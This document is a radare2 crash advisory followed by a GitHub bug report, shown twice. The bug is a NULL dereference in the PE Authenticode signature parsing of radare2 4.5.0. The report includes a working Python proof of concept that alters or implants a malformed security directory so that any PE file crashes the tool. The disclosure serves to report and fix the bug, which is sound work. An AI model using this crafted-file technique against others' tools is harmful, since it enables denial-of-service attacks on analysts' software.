radare2 4.5.0 misparses signature information in PE files, causing a segmentation fault in r_x509_parse_algorithmidentifier in libr/util/x509.c. This is due to a malformed object identifier in IMAGE_DIRECTORY_ENTRY_SECURITY.
cpe:2.3:a:radare:radare2:4.5.0:*:*:*:*:*:*:*
56860C89-D0FF-4A28-B2D1-C3E8C5A9AFD6
OR
cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*
36D96259-24BD-44E2-96D9-78CE1D41F956
cpe:2.3:o:fedoraproject:fedora:33:*:*:*:*:*:*:*
E460AA51-FCDA-46B9-AE97-E6676AA5E194
OR
### Work environment

| Questions                                            | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory)                             | 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
| File format of the file you reverse (mandatory)      | PE
| Architecture/bits of the file (mandatory)            | x86/32, x86/64
| r2 -v full output, **not truncated** (mandatory)     | radare2 4.6.0-git 25031 @ linux-x86-64 git.4.4.0-504-g78ea6ec78
commit: 78ea6ec78c908ad71a57866664798225b0e8f62d build: 2020-08-04__17:01:38

### Expected behavior
radare2 test_crash.exe opens the file in radare2 and displays the r2 shell to the user.

### Actual behavior
```
$ r2 test_crash.exe
Segmentation fault (core dumped)
```

### Steps to reproduce the behavior 
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed IMAGE_DIRECTORY_ENTRY_SECURITY containing an OID which is different to 0x6.
The cause of this bug is this function (in radare2/libr/util/x509.c):
```C
bool r_x509_parse_algorithmidentifier (RX509AlgorithmIdentifier *ai, RASN1Object *object) {
    if (!ai || !object || object->list.length < 1 || !object->list.objects) {
        return false;
    }
    if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID) {
        ai->algorithm = r_asn1_stringify_oid (object->list.objects[0]->sector, object->list.objects[0]->length);
    }
    ai->parameters = NULL; // TODO
    //ai->parameters = asn1_stringify_sector (object->list.objects[1]);
    return true;
}
```
 if the following condition isn't satisfied `if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID)` (if object->list.objects[0]->tag != TAG_OID in our example, with TAG_OID equals to 0x6), then ai->algorithm stills NULL, which is why 
```C 
char *hashtype = strdup (bin->spcinfo->messageDigest.digestAlgorithm.algorithm->string);
``` 
in the fuction Pe32_bin_pe_compute_authentihash segfaults.

So we wrote a small PoC script which turns any PE into a binary which makes radare2 crash.
```Python
#!/usr/bin/python3
from subprocess import Popen, PIPE, STDOUT
import pefile
import sys
import struct
import os

# trigger a segfault in radare2 by modifing the Object Identifier in IMAGE_DIRECTORY_ENTRY_SECURITY (in PE files)
# bug found by S01den and Architect (with custom fuzzing)


def get_offset(fname):
    pe = pefile.PE(fname, fast_load = True)
    pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']])
     
    sig_offset = 0
    found = 0
     
    for s in pe.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            sig_offset = s.VirtualAddress
            print("[*] IMAGE_DIRECTORY_ENTRY_SECURITY offset = "+hex(sig_offset))
            sig_len = s.Size
            print("[*] Size: "+hex(sig_len))
            if(sig_len <= 0):
                sig_offset = 0
     
    pe.close()

    return sig_offset

print("__________                       _____  ________   _____  _________                      .__     ")
print("\______   \_______  ____   _____/ ____\ \_____  \_/ ____\ \_   ___ \____________    _____|  |__  ")
print("|     ___/\_  __ \/  _ \ /  _ \   __\   /   |   \   __\  /    \  \/\_  __ \__  \  /  ___/  |  \  ")
print("|    |     |  | \(  <_> |  <_> )  |    /    |    \  |    \     \____|  | \// __ \_\___ \|   Y  \ ")
print("|____|     |__|   \____/ \____/|__|    \_______  /__|     \______  /|__|  (____  /____  >___|  / ")
print("                                                \/                \/            \/     \/     \/ ")

fname = sys.argv[1]

sig_offset = get_offset(fname)

f = open(fname,'rb')
content = bytearray(f.read())
f.close()

if(sig_offset == 0):
    print("[!] Nothing found... Trying to implant anyway")
    i = 0
    exploit = b"\x80\x08\x00\x00\x00\x00\x02\x000\x82\x08s\x06\t*\x86H\x86\xf7\r\x01\x07\x02\xa0\x82\x08d0\x82\x08`\x02\x01\x011\x0b0\t\x06\x05+\x0e\x03\x02\x1a\x05\x000h\x86\n+\x06\x01\x04\x01\x827\x02\x01\x04\xa0Z0X03\x06\n+\x06\x01\x04\x01\x827\x02\x01\x0f0%\x0b\x01\x00\xa0 \xa2\x1e\x80\x1c\x00<\x00<\x00<\x00O\x01b\x00s\x00o\x00l\x00e\x00t\x00e\x00>\x00>\x00>0!0\x0b\x22"
    while i != len(content)-123:
        if content[i:i+123] == b"\x00"*123:
            print(f"[*] Found space at {hex(i)}")
            break
        i += 1

    pe = pefile.PE(fname, fast_load = True)

    for s in pe.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            s.VirtualAddress = i
            s.Size = 0x880
            pe.set_bytes_at_offset(i, exploit)

    pe.write(filename="output.exe")

else:
    print("[*] OID found !: "+hex(content[sig_offset+0x7a]))
    content[sig_offset+0x7a] += 1
    f = open("output.exe",'wb')
    f.write(content)
    f.close()

print("[*] D0ne ! ----> output.exe")
```

### Additional Logs, screenshots, source-code,  configuration dump, ...
![capturePE_bug](https://user-images.githubusercontent.com/34453174/89730947-9d99fc80-da43-11ea-8f48-c6fa22883dd3.png)


  [PE] Segmentation fault by opening a binary (Bug in Pe32_bin_pe_compute_authentihash) 
This is a GitHub Issue
repo:radare2
owner:radareorg
Title :   [PE] Segmentation fault by opening a binary (Bug in Pe32_bin_pe_compute_authentihash) 
Issue date:

--- start body ---
### Work environment

| Questions                                            | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory)                             | 5.6.16-1-Manjaro x86_64, Kubuntu x86 32
| File format of the file you reverse (mandatory)      | PE
| Architecture/bits of the file (mandatory)            | x86/32, x86/64
| r2 -v full output, **not truncated** (mandatory)     | radare2 4.6.0-git 25031 @ linux-x86-64 git.4.4.0-504-g78ea6ec78
commit: 78ea6ec78c908ad71a57866664798225b0e8f62d build: 2020-08-04__17:01:38

### Expected behavior
radare2 test_crash.exe opens the file in radare2 and displays the r2 shell to the user.

### Actual behavior
```
$ r2 test_crash.exe
Segmentation fault (core dumped)
```

### Steps to reproduce the behavior 
We, Architect (@CitadelArcho) and me, discovered this bug and dug a bit into it.
It is caused by malformed IMAGE_DIRECTORY_ENTRY_SECURITY containing an OID which is different to 0x6.
The cause of this bug is this function (in radare2/libr/util/x509.c):
```C
bool r_x509_parse_algorithmidentifier (RX509AlgorithmIdentifier *ai, RASN1Object *object) {
    if (!ai || !object || object->list.length < 1 || !object->list.objects) {
        return false;
    }
    if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID) {
        ai->algorithm = r_asn1_stringify_oid (object->list.objects[0]->sector, object->list.objects[0]->length);
    }
    ai->parameters = NULL; // TODO
    //ai->parameters = asn1_stringify_sector (object->list.objects[1]);
    return true;
}
```
 if the following condition isn't satisfied `if (object->list.objects[0] && object->list.objects[0]->klass == CLASS_UNIVERSAL && object->list.objects[0]->tag == TAG_OID)` (if object->list.objects[0]->tag != TAG_OID in our example, with TAG_OID equals to 0x6), then ai->algorithm stills NULL, which is why 
```C 
char *hashtype = strdup (bin->spcinfo->messageDigest.digestAlgorithm.algorithm->string);
``` 
in the fuction Pe32_bin_pe_compute_authentihash segfaults.

So we wrote a small PoC script which turns any PE into a binary which makes radare2 crash.
```Python
#!/usr/bin/python3
from subprocess import Popen, PIPE, STDOUT
import pefile
import sys
import struct
import os

# trigger a segfault in radare2 by modifing the Object Identifier in IMAGE_DIRECTORY_ENTRY_SECURITY (in PE files)
# bug found by S01den and Architect (with custom fuzzing)


def get_offset(fname):
    pe = pefile.PE(fname, fast_load = True)
    pe.parse_data_directories( directories=[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']])
     
    sig_offset = 0
    found = 0
     
    for s in pe.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            sig_offset = s.VirtualAddress
            print("[*] IMAGE_DIRECTORY_ENTRY_SECURITY offset = "+hex(sig_offset))
            sig_len = s.Size
            print("[*] Size: "+hex(sig_len))
            if(sig_len <= 0):
                sig_offset = 0
     
    pe.close()

    return sig_offset

print("__________                       _____  ________   _____  _________                      .__     ")
print("\______   \_______  ____   _____/ ____\ \_____  \_/ ____\ \_   ___ \____________    _____|  |__  ")
print("|     ___/\_  __ \/  _ \ /  _ \   __\   /   |   \   __\  /    \  \/\_  __ \__  \  /  ___/  |  \  ")
print("|    |     |  | \(  <_> |  <_> )  |    /    |    \  |    \     \____|  | \// __ \_\___ \|   Y  \ ")
print("|____|     |__|   \____/ \____/|__|    \_______  /__|     \______  /|__|  (____  /____  >___|  / ")
print("                                                \/                \/            \/     \/     \/ ")

fname = sys.argv[1]

sig_offset = get_offset(fname)

f = open(fname,'rb')
content = bytearray(f.read())
f.close()

if(sig_offset == 0):
    print("[!] Nothing found... Trying to implant anyway")
    i = 0
    exploit = b"\x80\x08\x00\x00\x00\x00\x02\x000\x82\x08s\x06\t*\x86H\x86\xf7\r\x01\x07\x02\xa0\x82\x08d0\x82\x08`\x02\x01\x011\x0b0\t\x06\x05+\x0e\x03\x02\x1a\x05\x000h\x86\n+\x06\x01\x04\x01\x827\x02\x01\x04\xa0Z0X03\x06\n+\x06\x01\x04\x01\x827\x02\x01\x0f0%\x0b\x01\x00\xa0 \xa2\x1e\x80\x1c\x00<\x00<\x00<\x00O\x01b\x00s\x00o\x00l\x00e\x00t\x00e\x00>\x00>\x00>0!0\x0b\x22"
    while i != len(content)-123:
        if content[i:i+123] == b"\x00"*123:
            print(f"[*] Found space at {hex(i)}")
            break
        i += 1

    pe = pefile.PE(fname, fast_load = True)

    for s in pe.__structures__:
        if s.name == 'IMAGE_DIRECTORY_ENTRY_SECURITY':
            s.VirtualAddress = i
            s.Size = 0x880
            pe.set_bytes_at_offset(i, exploit)

    pe.write(filename="output.exe")

else:
    print("[*] OID found !: "+hex(content[sig_offset+0x7a]))
    content[sig_offset+0x7a] += 1
    f = open("output.exe",'wb')
    f.write(content)
    f.close()

print("[*] D0ne ! ----> output.exe")
```

### Additional Logs, screenshots, source-code,  configuration dump, ...
![capturePE_bug](https://user-images.githubusercontent.com/34453174/89730947-9d99fc80-da43-11ea-8f48-c6fa22883dd3.png)


--- end body ---

comments :
--- start comments ---

--- end comments ---